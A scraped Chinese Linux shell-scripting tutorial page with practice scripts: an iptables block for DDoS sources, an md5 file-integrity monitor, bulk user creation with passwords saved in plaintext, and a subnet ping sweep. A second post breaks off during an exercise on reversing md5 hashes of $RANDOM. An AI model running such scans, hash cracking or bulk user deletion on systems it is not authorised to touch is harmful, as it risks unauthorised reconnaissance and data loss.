        返回 N,或者如果 shell 不在执行一个函数或引用脚本时,失败。

    3.7.7 自定义常用函数库

    自定义函数库脚本

    1 #!/bin/bash
    2 #############################################################
    3 # File Name: /server/scripts/userfun.sh
    4 # Version: V1.0
    5 # Author: clsn
    6 # Organization: http://blog.znix.top
    7 # Created Time : 2017-12-12 10:40:04
    8 # Description:
    9 #############################################################
    10
    11 # 脚本初始化
    12 function scripts_init(){
    13   prog=`basename $0 .sh`
    14   LockFile=/var/lock/subsys/${prog}.lock  # 使用锁文件
    15   LogFile=/var/log/${prog}.log  # 脚本记录日志
    16   PidFile=/var/run/${prog}.pid  # 记录进程号,可以管理脚本
    17
    18   [ -f $LockFile ] && echo "There $LockFile is exist!!" && exit 1 ||touch $LockFile
    19   [ ! -f $LogFile ] && touch $LogFile
    20   [ -f $PidFile ] && echo "There $PidFile is exist!!" && exit 2|| echo $$ > $PidFile
    21 }
    22
    23 # 记录日志
    24 function writelog(){
    25   Date=$(date "+%F_%T")
    26   ShellName=`basename $0`
    27   Info=$1
    28   echo "$Date : ${ShellName} : ${Info}" >> ${LogFile}
    29 }
    30
    31 # 脚本退出扫尾
    32 function closeout(){
    33   [ -f $LockFile ] && rm -f $LockFile
    34   [ -f $PidFile ]&& rm -f $PidFile
    35 }
    36
    37 # 判断输入是整数
    38 function int_judge(){
    39   fun_a=$1
    40   expr $fun_a + 1 &>/dev/null
    41   RETVAL=$?
    42   return $RETVAL
    43 }
    44
    45 # 判断输入非空
    46 function input_judge(){
    47   RETVAL=0
    48   fun_a=$1
    49   [ ${#fun_a} -eq 0 ]&& RETVAL=1
    50   return $RETVAL
    51 }

    basename命令

             取出文件名称

    [root@clsn function]# basename /server/scripts/zhuajiu.sh
    zhuajiu.sh
    [root@clsn function]# basename /server/scripts/zhuajiu.sh  .sh
    zhuajiu

    $$ 参数

             取出脚本运行时的pid, 脚本运行的当前进程ID号

    [root@clsn function]# echo $$
    37208
    [root@clsn function]# ps -ef |grep 37208
    root      37208  37206  0 08:39 pts/0    00:00:00 -bash
    root      38578  37208  1 10:33 pts/0    00:00:00 ps -ef
    root      38579  37208  0 10:33 pts/0    00:00:00 grep --color=auto 37208

    引用自定义函数库示例:

    [root@clsn function]# head -22  fun3.sh
    #!/bin/bash
    #############################################################
    # File Name: fun3.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-12 09:38:48
    # Description:
    #############################################################

    . /server/scripts/userfun.sh

    scripts_init
    i=1
    while ((i<=10))
      do
       uptime
       ((i++))
       sleep 1
    done
    closeout

    3.8 shell脚本的调试

    3.8.1 脚本调试技巧

      调试技巧1:使用dos2unix处理脚本

    从windows编辑的脚本到Linux下需要使用这个命令
    dos2unix windows.sh

      调试技巧2:使用echo命令调试

    在变量读取或修改的前后加入echo $变量,也可在后面使用exit退出脚本,这样可以不用注释后面的代码

      调试技巧3:sh -x 脚本  ==》全局调试

    sh -x  scripts.sh

      调试技巧4:局部调试

    set -x
    要调试的脚本内容
    set +x

    3.8.2 Shell调试技巧小结

      ①要记得首先用dos2unix对脚本格式化。

      ②直接执行脚本根据报错来调试,有时报错不准确。

      ③sh -x调试整个脚本,显示执行过程。

      ④set -x和set +x调试部分脚本(在脚本中设置)

      ⑤echo输出变量及相关内容,然后紧跟着exit退出,不执行后面程序的方式,一步步跟踪脚本,对于逻辑错误比较好用。

           写法: echo $var;exit 

      ⑥最关键的是语法熟练、编码习惯、编程思想,将错误扼杀在萌芽之中,减轻调试负担,提高效率。

    3.9 shell编程练习题

    3.9.1 【练习题1】shell实现抓阄程序

    需要使用shell编写一个抓阄的程序:

    要求:

      1、执行脚本后,输入英文名字全拼,产生随机数01-99之间的数字,数字越大评分就去高,前面已经抓到的数字,下次不能在出现相同数字。

      2、第一个输入名字后,屏幕输出信息,并将名字和数字记录到文件里,程序不能退出继续等待别人输入。

             脚本内容:

    抓阄程序 脚本

    1 [root@clsn scripts]# cat zhuajiu.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: zhuajiu.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-10 15:21:27
    9 # Description:
    10 #############################################################
    11 Randow_Temp=/tmp/randow.test
    12 name_Out_File1=/tmp/name_Out_File1.test
    13 name_Out_File2=/tmp/name_Out_File2.test
    14
    15 >$name_Out_File1
    16 >$name_Out_File2
    17 >$Randow_Temp
    18
    19 trap 'echo "请勿使用 Ctrl+c"' 2
    20
    21 Randow() {
    22     sum=`echo $RANDOM |cut -c-2`
    23     grep $sum  $Randow_Temp
    24     if [ $? -eq 0 ];then
    25       Randow
    26     else
    27       echo $sum >>$Randow_Temp
    28       daxiao=$sum
    29     fi
    30 }
    31
    32 Print() {
    33     read -p "请输入名字的拼音:" Name
    34     Randow
    35     echo $Name $daxiao >>$name_Out_File
    36 }
    37
    38 while true
    39 do
    40    clear
    41    echo ""
    42    echo -e  "\033[32m        这个程序会将随机数字排名前三的同学显示出来!\033[0m"
    43    echo -e  "\033[31m                     退出脚本请使用 'exit' \033[0m"
    44    echo ""
    45    head -4 $name_Out_File2
    46    read -p "请输入名字的拼音:" "Name"
    47       if [ "$Name" == exit ]
    48         then
    49           exit
    50       fi
    51    Randow
    52    echo  $daxiao $Name >>$name_Out_File1
    53    echo "随机数最大的三位同学是:"  >$name_Out_File2
    54    sort -k1 -r $name_Out_File1 |column  -t >>$name_Out_File2
    55    clear
    56 done

    脚本执行过程

     

    3.9.2 【练习题2】输出9x9 乘法表

    脚本内容:

    九九乘法表

    1 [root@clsn scripts]# cat cfb.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: cfb.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-11 15:40:03
    9 # Description:
    10 #############################################################
    11 for a in `seq 1 9`
    12 do
    13         for b in `seq 1 9`
    14         do
    15                 if [ $a -ge $b ]
    16                 then
    17                         echo -en "$a x $b = $(expr $a \* $b)  "
    18 
    19                 fi
    20         done
    21 echo " "
    22 done

     

    执行结果

    [root@clsn scripts]# sh  cfb.sh
    1 x 1 = 1  
    2 x 1 = 2  2 x 2 = 4  
    3 x 1 = 3  3 x 2 = 6  3 x 3 = 9  
    4 x 1 = 4  4 x 2 = 8  4 x 3 = 12  4 x 4 = 16  
    5 x 1 = 5  5 x 2 = 10  5 x 3 = 15  5 x 4 = 20  5 x 5 = 25  
    6 x 1 = 6  6 x 2 = 12  6 x 3 = 18  6 x 4 = 24  6 x 5 = 30  6 x 6 = 36  
    7 x 1 = 7  7 x 2 = 14  7 x 3 = 21  7 x 4 = 28  7 x 5 = 35  7 x 6 = 42  7 x 7 = 49  
    8 x 1 = 8  8 x 2 = 16  8 x 3 = 24  8 x 4 = 32  8 x 5 = 40  8 x 6 = 48  8 x 7 = 56  8 x 8 = 64  
    9 x 1 = 9  9 x 2 = 18  9 x 3 = 27  9 x 4 = 36  9 x 5 = 45  9 x 6 = 54  9 x 7 = 63  9 x 8 = 72  9 x 9 = 81

    3.9.3 【练习题3】解决dDOS攻击生产案例

      写一个Shell脚本解决DOS攻击生产案例。

      请根据web日志或者或者网络连接数,监控当某个IP并发连接数或者短时内PV达到100(读者根据实际情况设定),即调用防火墙命令封掉对应的IP。防火墙命令为:iptables-I INPUT -s IP地址 -j DROP。

    练习使用日志下载地址:https://files.cnblogs.com/files/clsn/access-web-log.zip

             脚本内容:

    1 [root@clsn while]# cat ddos_check.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: ddos_check.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-10 12:34:15
    9 # Description:
    10 #############################################################
    11
    12 Info_File=/tmp/ddos_check.log
    13
    14 #从连接数获取
    15 #netstat -lant|awk -F "[ :]+" '/180:80/{clsn[$6]++}END{for(pol in clsn)print pol,clsn[pol]}' >$Info_File
    16
    17 # 从日志获取
    18 awk '{hotel[$1]++}END{for(pol in hotel)print pol,hotel[pol]}' access.log|sort -nk2  -r  >$Info_File
    19
    20 while read line
    21 do
    22     Ip_Add=`echo $line |awk '{print $1}'`
    23     Access=`echo $line |awk '{print $2}'`
    24     if [ $Access -ge 10000 ]
    25     then
    26         #echo $Ip_Add
    27         iptables -I INPUT -s $Ip_Add -j DROP
    28     fi
    29 done <$Info_File

     

    脚本执行结果:

    [root@clsn while]# iptables -L
    Chain INPUT (policy ACCEPT)
    target     prot opt source               destination 
    DROP       all  --  112.64.171.98        anywhere    
    DROP       all  --  58.220.223.62        anywhere    

    Chain FORWARD (policy ACCEPT)
    target     prot opt source               destination 

    Chain OUTPUT (policy ACCEPT)
    target     prot opt source               destination 

    其他方法进行日志分析

      elk日志分析

        http://blog.oldboyedu.com/elk/

      nginx-WAF

        http://blog.oldboyedu.com/nginx-waf/

    3.9.4 【练习题4】开发脚本入侵检测与报警案例(入侵检测系统)

      监控web站点目录(/var/html/www)下所有文件是否被恶意篡改(文件内容被改了),如果有就打印改动的文件名(发邮件),定时任务每3分钟执行一次。

      IDS是英文“Intrusion Detection Systems”的缩写,中文意思是“入侵检测系统”。

      脚本内容

    第一个里程碑:生成md5验证文件

    文件的校验文件

    find /var/html/www/* -type f |xargs md5sum >/tmp/check/web_file_check.md5sum

    目录的校验文件

    tree /var/html/www/ -d  >/tmp/check/web_dir_check.txt
    md5sum /tmp/check/web_dir_check.txt
    md5sum /tmp/check/web_dir_check.txt >/tmp/check/web_dir_check.md5sum

    脚本内容

    入侵检测与报警

    1 [root@clsn check]# cat web_file_check.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: web_file_check.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-10 14:15:34
    9 # Description:
    10 #############################################################
    11
    12 Url1=http://10.0.0.1/web_file_check.md5sum
    13 Url2=http://10.0.0.1/web_dir_check.md5sum
    14 Dir=/tmp/check/
    15 Web_Dir=/var/html/www/
    16 Check_File1=/tmp/check/web_file_check.md5sum
    17 Check_File2=/tmp/check/web_dir_check.md5sum
    18 Check_Dir=/tmp/check/web_dir_check.txt
    19 Check_Out=/tmp/check/check_out.md5sum
    20 Mail_info=/tmp/check/mail.txt
    21 Date=`date +%F_%T`
    22 Host_Name=`hostname`
    23 Host_IP=`hostname -I`
    24 Email_Addr=995701749@qq.com
    25
    26 [ -d $Dir ] || mkdir -p $Dir
    27 if [ ! -f $Check_File1 ]
    28   then
    29     cd $Dir &&\
    30     wget $Url1
    31 elif [ ! -f $Check_File2 ]
    32    then
    33     cd $Dir &&\
    34     wget $Url2
    35 fi
    36
    37 md5sum -c $Check_File1 >$Check_Out  2>/dev/null
    38 Back_num1=$?
    39 tree -d $Web_Dir >$Check_Dir
    40 md5sum -c $Check_File2 &>/dev/null
    41 Back_num2=$?
    42 if [ $Back_num1 -ne 0 ]
    43   then
    44     echo "发生主机:$Host_Name  主机IP地址:$Host_IP"  > $Mail_info
    45     echo "在 $Date 的检测中发现以下文件被篡改" >>$Mail_info
    46     echo "==================================================" >>$Mail_info 
    47     egrep  -i  "失败|failed"  $Check_Out >>$Mail_info
    48     echo "==================================================" >>$Mail_info 
    49     echo "请尽快登陆服务器进行处理!!!"  >>$Mail_info
    50     mail -s "【警告】web站点文件被篡改" -a $Check_File1 $Email_Addr <$Mail_info
    51 fi
    52
    53 if [ $Back_num2 -ne 0 ]
    54   then
    55     echo "目录检测信息" >$Mail_info
    56     echo "在 $Date 的检测中发现目录被篡改" >>$Mail_info
    57     mail -s "【警告】web站点目录被篡改" -a $Check_Dir $Email_Addr<$Check_Dir
    58 fi

    修改文件目录后执行结果

     

     

    3.9.5 【练习题5】单词及字母去重排序案例

    用shell处理以下内容

      1、按单词出现频率降序排序!

      2、按字母出现频率降序排序!

    the squid project provides a number ofresources to assist users design implement and support squid installations.Please browse the documentation and support sections for more infomation byoldboy training

             脚本内容:

    [root@clsn play]# cat abc.sh
    #!/bin/bash
    #############################################################
    # File Name: abc.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-11 17:23:19
    # Description:
    #############################################################

    a="the squid project provides a number ofresources to assist users design implement and support squid installations.Please browse the documentation and support sections for more infomation byoldboy training"

    echo "按单词出现频率降序排序!"
    for i in $a
      do
       echo $i
    done|\
      sort |uniq -c|sort -nk1  -r
    echo "按字母出现频率降序排序!"
    echo $a |grep -o "[a-z]" |sort|uniq  -c |sort -nk1 -r

    3.9.6 【练习题6】编写正(或长)方形图形案例

    请用shell或Python编写一个正(或长)方形,接收用户输入的数字。

             shell脚本内容

    [root@clsn play]# cat  zhengfangxing.sh
    #!/bin/bash
    #############################################################
    # File Name: zhengfangxing.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-11 17:33:33
    # Description:
    #############################################################
    trap "echo 输入exit退出" 2
    while true
      do
        read -p "你想看多大的正方形:" a
        [ "$a" == "exit" ] && exit
        expr 1 + $a &>/dev/null 
        [ $? -ne 0 ] && echo "请输入一个数字!" && exit 2
        b="■ "
        d=$(for i in `eval echo {1..$a}`;do echo -n $b; echo -n " ";done)
       
        for i in `eval echo {1..$a}`
         do
          echo "$d"
        done
    done

             脚本执行效果

    [root@clsn play]# sh  zhengfangxing.sh  4
    ■ ■ ■ ■
    ■ ■ ■ ■
    ■ ■ ■ ■
    ■ ■ ■ ■
    [root@clsn play]# sh  zhengfangxing.sh  3
    ■ ■ ■
    ■ ■ ■
    ■ ■ ■

    3.10 各种语句小结

      ?  while循环的特长是执行守护进程以及我们希望循环不退出持续执行,用于频率小于1分钟循环处理(crond),其他的while循环几乎都可以被for循环替代。

      ?   case语句可以被if语句替换,一般在系统启动脚本传入少量固定规则字符串用case语句,其他普通判断多用if。

      ?  一句话,if,for语句最常用,其次while(守护进程),case(服务启动脚本)。

    3.11 附录

    3.11.1 格式化文本--对齐文本

    [root@clsn scripts]# column --help

    用法:
    column [选项] [文件 ...]

    选项:
    -c, --columns <宽度>     输出宽度(字符数)
    -t, --table              创建表格
    -s, --separator <字符串> 可用的表格分隔符
    -o, --output-separator <字符串>
                              表格输出列分隔符,默认为两个空格
    -x, --fillrows           先填充行,再填充列

    -h, --help     显示此帮助并退出
    -V, --version  输出版本信息并退出

    更多信息请参阅 column(1)。

    3.11.2 服务器被挂马怎么办?

    1. 将被挂马服务器上,原有重要数据备份下来
    2. 仔细筛查数据,确保其中都是正常文件
    3. 重新安装服务器操作系统,并针对性的加强安全防护。
    4. 切记,服务器中木马后必须重新安装操作系统。

    3.11.3 怎么通过进程找到程序

    通过进程找到pid号码

    [root@clsn proc]# ps -ef |grep sshd
    root       1294      1  0 09:18 ?        00:00:00 /usr/sbin/sshd -D

             通过pid找到在proc目录下的临时文件夹

    [root@clsn proc]# cd /proc/1294
    [root@clsn 1294]#

             查看其中的exe文件,即可发现程序文件的路径

    [root@clsn 1294]# ll exe
    lrwxrwxrwx 1 root root 0 12月 11 09:18 exe -> /usr/sbin/sshd

    3.11.4 screen程序 防止脚本执行中断

      用操作,更多详情参照 http://www.cnblogs.com/clsn/p/8022625.html

    ctrl +a +d  退出当前终端,返回加载screen前的shell命令状态
    screen -ls 可看screen会话
    screen -r id 指定进入哪个screen会话

             screen进程原理

    [root@clsn ~]# ps -ef |grep ping
    root      30170  30153  0 11:57 pts/5    00:00:00 ping 10.0.0.254
    root      30172  30078  0 11:58 pts/0    00:00:00 grep --color=auto ping
    [root@clsn ~]# ps -ef |grep 30170
    root      30170  30153  0 11:57 pts/5    00:00:00 ping 10.0.0.254
    root      30174  30078  0 11:59 pts/0    00:00:00 grep --color=auto 30170
    [root@clsn ~]# ps -ef |grep 30153
    root      30153  30119  0 11:57 pts/5    00:00:00 /bin/bash
    root      30170  30153  0 11:57 pts/5    00:00:00 ping 10.0.0.254
    root      30176  30078  0 11:59 pts/0    00:00:00 grep --color=auto 30153
    [root@clsn ~]# ps -ef |grep 30119
    root      30119      1  0 11:56 ?        00:00:00 SCREEN
    root      30120  30119  0 11:56 pts/4    00:00:00 /bin/bash
    root      30153  30119  0 11:57 pts/5    00:00:00 /bin/bash
    root      30178  30078  0 11:59 pts/0    00:00:00 grep --color=auto 30119

    3.11.5 shell中实现倒计时效果

    脚本内容

    [root@clsn scripts]# cat daojishi.sh
    #!/bin/bash
    #############################################################
    # File Name: daojishi.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-12 08:49:11
    # Description:
    #############################################################

    for i in `seq -w 10 -1 1`
      do
        echo -ne "\b\b$i";
        sleep 1;
    done

    脚本执行效果

     

    3.12 linux中的信号

    3.12.1 Linux系统的重要信号及说明

    信号

    说明

    HUP(l)

    挂起,通常因终端掉线或用户退出而引发

    INT(2)

    中断,通常因按下Ctrl+c组合键而引发

    QUIT(3)

    退出,通常因按下Ctrl+\组合键而引发

    ABRT(6)

    中止,通常因某些严重的执行错误而引发

    ALRM(14)

    报警,通常用来处理超时

    TERM(15)

    终止,通常在系统关机时发送

    TSTP(20)

    停止进程的运行,但该信号可以被处理和忽略,通常因按下Ctrl+z组合键而引发

       使用trap控制信号通常需要忽略的信号包括HUP、INT、QUIT、TSTP、TERM等,对应的信号编号分别为1、2、3、20、15。Shell脚本中既可以用数字来代表信号,也可以使用信号的名字来代表信号

    3.12.2使用trap控制信号

      trap命令用于指定在接收到信号后将要采取的行动,信号的相关说明前面已经提到 过。trap命令的一种常见用途是在脚本程序被中断时完成清理工作,或者屏蔽用户非法 使用的某些信号。在使用信号名时需要省略SIG前缀。可以在命令提示符下输人命令 trap -1来查看信号的编号及其关联的名称。

      trap命令的参数分为两部分,前一部分是接收到指定信号时将要采取的行动,后一部分是要处理的信号名。

      trap命令的使用语法如下:

    trap command signal

           signal是指接收到的信号,command是指接收到该信号应采取的行动。也就是:

    trap ‘命令;命令’ 信号编号

    trap ‘命令;命令’ 信号名

    [root@clsn ~]# trap 'echo clsn' 2
    [root@clsn ~]# ^Cclsn

    3.13 参考文档

    本篇博文整理自惨绿少年:

    https://www.cnblogs.com/clsn/

     

    展开全文
  • Java目录监视源程序 9个目标文件 内容索引:JAVA源码,综合应用,目录监视 用JAVA开发的一个小型的目录监视系统,系统会每5秒自动扫描一次需要监视的目录,可以用来监视目录中文件大小及文件增减数目的变化。...
  • Shell编程进阶篇(完结)

    2018-08-13 13:15:40
    1.1 for循环语句 在计算机科学中,for循环(英语:for loop)是一种编程语言的迭代陈述,能够让程式码反复的执行。 它跟其他的循环,如while循
    原文地址为:Shell编程进阶篇(完结)

      

    1.1 for循环语句

         在计算机科学中,for循环(英语:for loop)是一种编程语言的迭代陈述,能够让程式码反复的执行。

         它跟其他的循环,如while循环,最大的不同,是它拥有一个循环计数器,或是循环变数。这使得for循环能够知道在迭代过程中的执行顺序。

    1.1.1 shell中的for循环

             shell中的for 循环与在c中不同,它包含三种形式:第一种结构是列表for 循环;第二种结构就是不带列表的for循环;第三种就类似于C语言。

    ①   列表for循环(常用)

    #!/bin/bash
    for i in 取值列表
    do
    循环主体
    /命令
    done

     

    ②   不带列表for循环(示例)

    #!/bin/absh
    echo "惨绿少年的博客是:"
    for i
    do
    echo "$i"
    done

       脚本执行结果

    [root@clsn for]# sh  for2.sh http://blog.znix.top
    惨绿少年的博客是:
    http:
    //blog.znix.top

     

     

    ③   类似C语言的风格这种用法常在C语语言中使用)

    for((exp1;exp2;exp3))
    do
    指令...
    done

             编写类似C语言风格脚本

    for((i=0;i<=3;i++))
    do
    echo $i
    done

             脚本执行过程

     

    1.1.2 不同语言的For循环

    Shell中的两种样式

    # 样式一:
    for i in 1 2 3
    do
    echo $i
    done
    # 样式二:
    for i in 1 2 3;do echo $i;done

      JAVA

    for(int i = 0; i < 5; i++){
    //循环语句;
    }

      PHP

    for ($i = 0; $i < 5; $i++) {
    # statements;
    }

      VB

    For i = 1 To 5
    ===PASCAL===
    for not i=1 do
    begin
    i
    =0;
    writeln(
    'Go on!');
    end.

    '循环语句
    Next i

      swift

    var x = 0
    for i in 1...100{
    x
    += i
    }
    print(x)

    //5050
    for _ in 1...100{
    x
    += 1
    }
    print(x)
    // 100

    var box
    = [1,2,3,4,5]
    for i in box{
    print(i)
    }
    /*
    1
    2
    3
    4
    5
    */
    ---

    1.2 for循环相关练习题

    1.2.1 【练习题1】批量生成随机字符文件名案例

    使用for循环在/clsn目录下批量创建10个html文件,其中每个文件需要包含10个随机小写字母加固定字符串clsn,名称示例如下:

    [root@znix C19]# ls /clsn
    apquvdpqbk_clsn.html mpyogpsmwj_clsn.html txynzwofgg_clsn.html
    bmqiwhfpgv_clsn.html udrzobsprf_clsn.html vjxmlflawa_clsn.html
    jhjdcjnjxc_clsn.html qeztkkmewn_clsn.html jpvirsnjld_clsn.html
    ruscyxwxai_clsn.html

    脚本内容

     1 [root@clsn for]# cat make_file.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: make_file.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 11:01:19
    9 # Description:
    10 #############################################################
    11
    12 [ -d /clsn ] || mkdir -p /clsn
    13 rpm -qa |grep pwgen &>/dev/null
    14 if [ $? -eq 1 ]
    15 then
    16 yum install pwgen -y &>/dev/null
    17 fi
    18
    19 cd /clsn &&\
    20 for i in {1..10}
    21 do
    22 #File_Name=`uuidgen |tr "0-9-" "a-z"|cut -c 1-10`
    23 File_Name2=`pwgen -1A0 10`
    24 touch ${File_Name2}_clsn.html
    25 done
    View Code 批量生成随机字符文件名

    脚本执行结果

    [root@clsn for]# ls -l  /clsn 
    -rw-r--r-- 1 root root 0 12月 8 19:41 aegheiriek_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 aifohxique_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 caexahween_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 ciefaivaib_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 eixongooph_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 foozaivedo_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 ireeteethu_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 ohmeebivae_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 oiceehahth_clsn.html
    -rw-r--r-- 1 root root 0 12月 8 19:41 sheewaehoo_clsn.html

    1.2.2 【练习题2】批量改名特殊案例

    【练习题1】中结果文件名中的clsn字符串全部改成znix(最好用for循环实现),并且将扩展名html全部改成大写。

    jpvirsnjld_clsn.html   ===> jpvirsnjld_znix.HTML

    脚本内容:

     1 [root@clsn for2]# cat rename_file.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: rename_file.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 11:31:56
    9 # Description:
    10 #############################################################
    11
    12 cd /clsn &&\
    13 File_name=`ls |sed -r 's#(.*)_clsn.html#\1#g'`
    14
    15 for i in $File_name
    16 do
    17 if [ -f ${i}_clsn.html ]
    18 then
    19 mv ${i}_clsn.html ${i}_znix.HTML
    20 else
    21 echo "文件修改完成."
    22 exit
    23 fi
    24 done
    View Code 批量改名

    查看结果

    [root@clsn for2]# ls /clsn/
    aeyaesughi_znix.HTML caireasipi_znix.HTML uahahnieli_znix.HTML
    aifaepheeb_znix.HTML eathixoong_znix.HTML zalipageen_znix.HTML
    akuipheeye_znix.HTML ietoothaik_znix.HTML
    apheikieno_znix.HTML lachohtaif_znix.HTML

    1.2.2.1  批量改名其他方式

      rename 方式(最方便,专业改名)

    rename txt jpg *

      非 for 循环方式批量改名(使用sed命令进行拼接,然后交给bash执行)

    ls *jpg|sed -r 's#(.*).jpg#mv &  \1.mp4#'|bash

    1.2.3 【练习题3】批量创建特殊要求用户案例

      批量创建10个系统帐号clsn01-clsn10并设置密码(密码为随机数,要求字符和数字等混合)。

    脚本内容:

     1 [root@clsn for2]# cat add_user.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: add_user.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 11:52:21
    9 # Description:
    10 #############################################################
    11
    12 Passwd_File=/tmp/`uuidgen`.txt
    13 >$Passwd_File
    14 chmod 400 $Passwd_File
    15
    16 for i in clsn{01..10}
    17 do
    18 userdel -r "$i" &>/dev/null
    19 id $i &>/dev/null
    20 if [ $? -ne 0 ]
    21 then
    22 useradd $i
    23 PassWd=`uuidgen`
    24 echo $PassWd |passwd --stdin $i &>/dev/null
    25 echo "用户名:$i 密码:$PassWd" >>$Passwd_File
    26 echo -e "\033[32m $i 用户创建成功!\033[0m"
    27 else
    28 echo "$i 用户已存在"
    29 fi
    30 if [ "$i" == "clsn10" ]
    31 then
    32 echo "用户密码请查看文件 $Passwd_File"
    33 fi
    34 done
    View Code 批量创建特殊要求用户

    查看成的密码文件

    [root@clsn for2]# cat /tmp/3e5c18d9-f878-4d06-931e-5bbcc810c3dc.txt 
    用户名:clsn01 密码:3d4644d0
    -9cf4-49db-8928-1a8346972c32
    用户名:clsn02 密码:70798c3a
    -c8e3-42a0-9942-d4011ce4b4b3
    用户名:clsn03 密码:db2a0f1d
    -2e49-44f5-a5b2-69b352b30120
    用户名:clsn04 密码:62d2e0c6
    -b755-4b00-ad2d-c98f9ca9f258
    用户名:clsn05 密码:eaa3471b
    -d04f-4d7c-8b7e-3d75172a483b
    用户名:clsn06 密码:fb260a11
    -cd47-4b97-ab49-0cae7a755262
    用户名:clsn07 密码:16ee7a1f
    -8aac-4537-b1aa-7fc75beb8754
    用户名:clsn08 密码:0dde8823
    -b97d-4c88-9258-3a68a3b53eba
    用户名:clsn09 密码:daf14ec4
    -ba9f-4593-9773-1557fdf605dc
    用户名:clsn10 密码:6f1b452c
    -00b2-44a1-9f43-5f658d3a9124

    脚本执行过程:

     

    1.2.3.1  批量创建用户并设置随机密码(不使用shell循环)

      方法一

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& echo \1 >>/tmp/passwd.txt \&\& echo $RANDOM |md5sum |cut -c 1-5>>/tmp/passwd.txt \&\& echo `tail -1 /tmp/passwd.txt`|passwd --stdin \1#g'|bash

      方法二

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& pass=`echo $RANDOM |md5sum |cut -c 1-5` \&\& echo $pass |passwd --stdin \1 \&\& echo \1 $pass>>/tmp/user_passwd.txt#g'|bash

      方法三

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& pass=`echo $RANDOM |md5sum |cut -c 1-5` \&\& echo \1:$pass>>/tmp/user_passwd.txt \&\& chpasswd</tmp/user_passwd.txt#g'|bash

    1.2.4 【练习题4】扫描网络内存活主机案例

      写一个Shell脚本,判断10.0.0.0/24网络里,当前在线的IP有哪些?

    脚本内容:

     1 [root@clsn for]# cat scan_ip2.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: scan_ip.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 21:58:47
    9 # Description:
    10 #############################################################
    11
    12 Ip_File=/tmp/scan_ip.txt
    13 >$Ip_File
    14
    15 for i in 10.0.0.{1..254}
    16 do
    17 ping -c 1 -W 1 $i &>/dev/null && \
    18 if [ $? -eq 0 ] ;then
    19 echo "存活主机: $i" &>>$Ip_File
    20 fi &
    21 done
    22 echo "使用 cat $Ip_File 查看扫描结果"
    View Code 扫描网络内存活主机

    脚本执行结果

    [root@clsn for]# time sh scan_ip2.sh 
    使用
    cat /tmp/scan_ip.txt 查看扫描结果

    real 0m0.290s
    user 0m0.001s
    sys 0m0.039s

    [root@clsn
    for]# cat /tmp/scan_ip.txt
    存活主机:
    10.0.0.180
    存活主机:
    10.0.0.254

    1.2.5 【练习题5】筛选符合长度的单词案例

      利用bash for循环打印下面这句话中字母数不大于6的单词(某企业面试真题)。

        I am clsn Welcome to my blog http://blog.znix.top

    脚本内容:

     1 [root@clsn for]# vim  changdu.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: changdu.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 22:36:48
    9 # Description:
    10 #############################################################
    11
    12 Word='I am clsn Welcome to my blog http://blog.znix.top'
    13
    14 for i in $Word
    15 do
    16 #[ ${#i} -le 6 ] && echo $i #子串方法
    17 a=`echo $i |wc -L`
    18 if [ $a -le 6 ]
    19 then
    20 echo $i
    21 fi
    22 done
    View Code 筛选符合长度的单词

    脚本执行结果

    [root@clsn for]# sh changdu.sh 
    I
    am
    clsn
    to
    my
    blog

    方法二:

    read -p "请输入要判断的语句:" a
    set
    -- $a
    for i in "$@"
    do
    if [ ${#i} -le 6 ];then
    echo "$i"
    fi
    done

     由 https://home.cnblogs.com/u/1233234   @贰佰  提供

    使用expr 计算字符串长度

    [root@clsn scripts]# expr length '111'
    3

    1.2.6 【练习题6】破解RANDOM随机数案例

      已知下面的字符串是通过RANDOM随机数变量md5sum后,再截取一部分连续字符串的结果,请破解这些字符串对应的使用md5sum处理前的RANDOM对应的数字?

      21029299
      00205d1c
      a3da1677
      1f6d12dd
      890684b

    脚本内容

    [root@clsn for]# vim  pojie.sh 
    #
    !/bin/bash
    #############################################################
    # File Name: pojie.
    sh
    # Version: V1.
    0
    # Author: clsn
    # Organization: http:
    //blog.znix.top
    # Created Time : 2017-12-07 22:41:01
    # Description:
    #############################################################

    md5File
